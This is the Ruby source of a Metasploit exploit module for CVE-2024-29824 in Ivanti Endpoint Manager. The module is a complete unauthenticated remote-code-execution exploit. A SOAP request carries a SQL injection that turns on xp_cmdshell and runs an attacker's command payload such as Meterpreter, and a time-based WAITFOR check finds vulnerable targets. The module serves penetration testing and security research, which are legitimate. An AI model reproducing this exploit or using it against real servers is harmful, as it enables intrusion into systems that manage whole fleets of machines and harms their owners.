## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck class IvantiEpmRequestError < StandardError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE', 'Description' => %q{ Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Horseman', # original PoC, analysis 'Christophe De La Fuente' # Metasploit module ], 'References' => [ [ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'], [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'], [ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'], [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'], [ 'CVE', '2024-29824'] ], 'Platform' => ['windows'], 'Privileged' => true, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2024-05-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], # MS SQL logs will contain evidence of `xp_cmdshell` being used # Fetch payload cannot be deleted while a Meterpreter session is active 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']), OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5]) ] ) end def sqli_payload(cmd) "';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--" end def xml_payload(sqli) <<~XML <?xml version="1.0" encoding="utf-8"?> <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <UpdateStatusEvents xmlns="http://tempuri.org/"> <deviceID>string</deviceID> <actions> <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string"> <status>GoodApp=1|md5=#{sqli}</status> </Action> </actions> </UpdateStatusEvents> </soap12:Body> </soap12:Envelope> XML end def soap_request(sqli, timeout = 20) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'), 'method' => 'POST', 'ctype' => 'application/soap+xml; charset="utf-8"', 'data' => xml_payload(sqli) }, timeout) raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res res end def check print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})") _res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") } vprint_status("Baseline query elapsed time: #{elapsed1}") _res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") } vprint_status("Delayed query elapsed time: #{elapsed2}") if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY'] return CheckCode::Vulnerable('SQLi executed') else return CheckCode::Safe('SQLi not executed') end rescue IvantiEpmRequestError => e return CheckCode::Unknown(e.to_s) end def exploit soap_request(sqli_payload(payload.encoded), 1) rescue IvantiEpmRequestError # Expecting no response if an interactive payload such as Meterpreter is used end end